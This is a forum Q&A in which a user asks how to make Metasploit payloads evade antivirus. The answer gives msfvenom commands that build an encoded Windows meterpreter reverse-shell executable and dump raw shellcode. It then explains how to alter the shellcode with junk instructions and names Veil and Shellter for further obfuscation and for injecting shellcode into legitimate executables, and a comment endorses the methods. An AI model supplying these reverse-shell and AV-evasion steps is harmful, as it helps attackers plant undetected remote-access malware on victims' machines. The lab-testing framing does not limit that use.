How do I create a custom Metasploit payload that avoids antivirus detection

Question

I’ve been working with Metasploit to test vulnerabilities in my lab environment, but I’ve noticed that many payloads are quickly detected by antivirus software. I’d like to understand how to create custom payloads that can bypass antivirus detection, without triggering alerts.

What are some techniques for modifying or obfuscating payloads in Metasploit to evade detection by common antivirus solutions? Are there any specific tools, encoders, or best practices that I should be aware of to help customize payloads for evasion while staying within ethical hacking guidelines?

Answer 1

If you're trying to create a custom Metasploit payload that can avoid antivirus detection and looking for any sort of modifications or obfuscations. Let me tell you that this can be very challenging as modern antiviruses are highly effective in identifying any kind of known vulnerabilities.

However, you can modify these payloads to make them less detectable.

Here's how we can create our own Metasploit payload that can bypass your antivirus security:

1. Encoders

• We have encoders in Metasploit that can modify the payload's structure. 
• This can help us in bypassing signature-based detections.
• These encoders change the binary structure without altering any functionality of the payload.

Here's an example of how we can generate a payload using an encoder:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -e x86/shikata_ga_nai -i 5 -f exe > payload.exe

• -p windows/meterpreter/reverse_tcp: This specifies the payload type.
• -e x86/shikata_ga_nai: The x86/shikata_ga_nai encoder obfuscates the payload.
• -i 5: The number of times the payload is encoded (increases the obfuscation level).
• -f exe: Output format as an executable.
• payload.exe: The generated payload file.

Now, this won't be enough as antivirus can effectively detect encoders like shikata_ga_nai.

2. Customize Payload

One of the best ways to avoid detection is to customize our payload. We can generate raw shellcode using msfvenom and then embed it into our script.

Here's an example of how we can generate raw shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f raw > shellcode.bin

3. Modify Payloads

We can manually modify our payload's assembly or binary code by adding any junk instructions or non-functional code without affecting it's behavior.

Follow the following steps:

• Extract the shellcode from the Metasploit payload.
• Open the shellcode in a hex editor and modify non-essential parts.
• Reassemble the payload into an executable.

We can use tools like PE-bear to inspect and edit portable executable files and HT Editor which is binary editor that can help in changing payloads manually.

4. Obfuscation Tools

Now, there are various specialized tools that can help in obfuscating payloads further.

Veil Framework

• It is a powerful tool designed to generate antivirus evasive payloads.
• It can generate payloads in several languages and obfuscate the code to avoid detection.
• Veil also supports multiple payload formats, making it versatile for various environments.

Shellter

• It is a dynamic shellcode injection tool that can inject Metasploit shellcode into a legitimate executable to make it harder to detect.

Comments

Great breakdown! Adding junk instructions and using tools like Shellter are clever. It’s also worth noting that modern AV solutions use behavioral analysis, so evasion techniques need constant updating.